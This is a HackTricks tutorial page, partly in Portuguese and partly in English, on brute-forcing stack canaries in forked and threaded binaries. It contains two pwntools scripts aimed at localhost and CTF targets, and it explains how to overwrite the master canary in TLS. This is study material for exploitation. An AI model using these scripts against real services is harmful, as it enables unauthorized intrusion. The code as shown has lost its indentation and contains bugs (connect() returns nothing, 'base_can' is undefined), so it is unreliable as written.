hacktricks/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

6.2 KiB

BF Forked & Threaded Stack Canaries

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.

{% hint style="info" %} Observe que o checksec pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e este valor é verificado antes de sair. {% endhint %}

Brute force no Canary

A melhor maneira de contornar um canário simples é se o binário for um programa criando processos filhos toda vez que você estabelece uma nova conexão com ele (serviço de rede), porque toda vez que você se conecta a ele o mesmo canário será usado.

Então, a melhor maneira de contornar o canário é apenas forçá-lo caractere por caractere, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função força bruta um canário de 8 Bytes (x64) e distingue entre um byte adivinhado correto e um byte ruim apenas verificando se uma resposta é enviada de volta pelo servidor (outra maneira em outras situações poderia ser usando um try/except):

Exemplo 1

Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemplo 2

Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.
Também observe que, para este exemplo, o programa espera primeiro um byte para indicar o tamanho da entrada e a carga útil.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Threads

Threads of the same process will also share the same canary token, therefore it'll be possible to brute-force a canary if the binary spawns a new thread every time an attack happens.

Moreover, a buffer overflow in a threaded function protected with canary could be used to modify the master canary stored in the TLS. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a bof in the stack of a thread.
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
This attack is performed in the writeup: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Check also the presentation of https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 which mentions that usually the TLS is stored by mmap and when a stack of thread is created it's also generated by mmap according to this, which might allow the overflow as shown in the previous writeup.

Other examples & references